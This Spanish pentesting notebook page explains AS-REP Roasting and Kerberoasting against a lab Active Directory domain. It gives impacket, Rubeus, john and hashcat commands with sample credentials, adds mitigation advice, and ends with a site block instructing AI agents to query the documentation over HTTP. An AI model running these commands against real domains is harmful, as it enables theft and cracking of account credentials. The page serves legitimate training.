# Ataques a Kerberos

### AS-REP Roast

#### impacket-GetNPUsers

Podemos comprobar en base a una lista de usuarios cuales de ellos no tienen activo el atributo **Kerbereos Pre-Auth**. En caso de que el usuario sea valido, obtendremos el TGT (Ticket Granting Ticket) de Kerberos el cual podemos crackear offline.

```bash
impacket-GetNPUsers -usersfile valid_ad_users.txt MARVEL.local/ -dc-ip 172.16.0.1 | grep -v "UF_DONT_REQUIRE_PREAUTH"
```

Utilizamos `john` para crackear offline el hash y obtener la contraseña en texto claro.

```bash
john krb.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

#### Rubeus

Subimos rubeus a la máquina víctima y ejecutamos:

```powershell
.\Rubeus.exe asreproast /user:pparker /domain:MARVEL.local /dc:172.16.0.1 /nowrap /format:hashcat
```

### **Mitigación del ataque** AS-REP Roast

* Habilitar la preautenticación Kerberos:
  * En PowerShell, podemos uitilizar el cmdlet `Set-ADUser -KerberosEncryptionType None` para verificar y ajustar la configuración.
  * En Active Directory Users and Computers (ADUC), en la sección de propiedades del usuario, seleccionar la pestaña "Cuenta" y asegúrarse de que la opción "No requerir preautenticación Kerberos" no esté marcada.
* Utilizar contraseñas robustas.
* Revisión de políticas de seguridad.

### Kerberoasting

> Un Service Principal Name (SPN) es un identificador único de una instancia de servicio. Los SPN son utilizados por la autenticación Kerberos para asociar una instancia de servicio con una cuenta de inicio de sesión de servicio. - [MSDN](https://docs.microsoft.com/windows/desktop/AD/service-principal-names)

> A diferencia del **AS-REP Roast**, donde no tenemos credenciales previas, en el **Kerberoasting** necesitamos unas credenciales en texto claro, hash NTLM, shell en el contexto de una cuenta de usuario de dominio,o acceso a nivel SYSTEM de un host unido a un dominio.

Cualquier usuario de dominio válido puede solicitar un ticket kerberos (TGS) para cualquier servicio de dominio. Una vez que se recibe el ticket, se puede descifrar la contraseña sin conexión para intentar descifrar la contraseña para cualquier usuario con el que se esté ejecutando el servicio.

#### impacket-GetUserSPNs

Solicitar todas las entradas de TGS

```bash
impacket-GetUserSPNs MARVEL.local/pparker:Password123 -dc-ip 172.16.0.1 -request
```

<figure><img src="/files/y7nT9FzQClN2buu0cDUE" alt=""><figcaption><p>Solicitar todas las entradas de TGS</p></figcaption></figure>

Para facilitar el crackeo offline, siempre es bueno usar la opción `-outputfile` para escribir los tickets TGS en un archivo que luego puede ser crackeado ejecutando usando `hashcat` o `john`.

```bash
impacket-GetUserSPNs MARVEL.local/pparker:Password123 -dc-ip 172.16.0.1 -request -outputfile sqldev_tgs
```

También podemos usar los hashes `LMHASH:NTHASH`.

```bash
impacket-GetUserSPNs MARVEL.local/pparker:Password123 -dc-ip 172.16.0.1 -request -hashes aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71
```

Utilizamos `hashcat` para romper el hash y recuperar la contraseña de la cuenta de servicio.

<table><thead><tr><th width="131">Modo</th><th>Descripción</th></tr></thead><tbody><tr><td><code>13100</code></td><td>Kerberos 5 TGS-REP etype 23 (RC4)</td></tr><tr><td><code>19600</code></td><td>Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)</td></tr><tr><td><code>19700</code></td><td>Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)</td></tr><tr><td><code>18200</code></td><td>Kerberos 5, etype 23, AS-REP</td></tr></tbody></table>

```bash
hashcat -m 13100 krb.txt /usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/COaKmM3h9lmqQ2YSBxoO" alt=""><figcaption><p>Cracking del hash TGS Kerberos utilizando hashcat</p></figcaption></figure>

Rubeus

Subimos rubeus a la máquina víctima y ejecutamos:

```powershell
.\Rubeus.exe kerberoast /creduser:MARVEL.local\pparker /credpassword:Password123
```

### **Mitigación del ataque Kerberoasting**

* Utilizar contraseñas robustas.
* Privilegios mínimos: Otorgar a los usuarios únicamente los privilegios necesarios para realizar sus tareas específicas y restringir cualquier privilegio adicional que no sea esencial para evitar posibles riesgos de seguridad. Este enfoque ayuda a reducir la superficie de ataque y a limitar el impacto de posibles violaciones de seguridad.
* No ejecutar las cuentas de Servicio como Administrador del Dominio.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4redevil.gitbook.io/d4redevil/active-directory/ataques-a-kerberos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
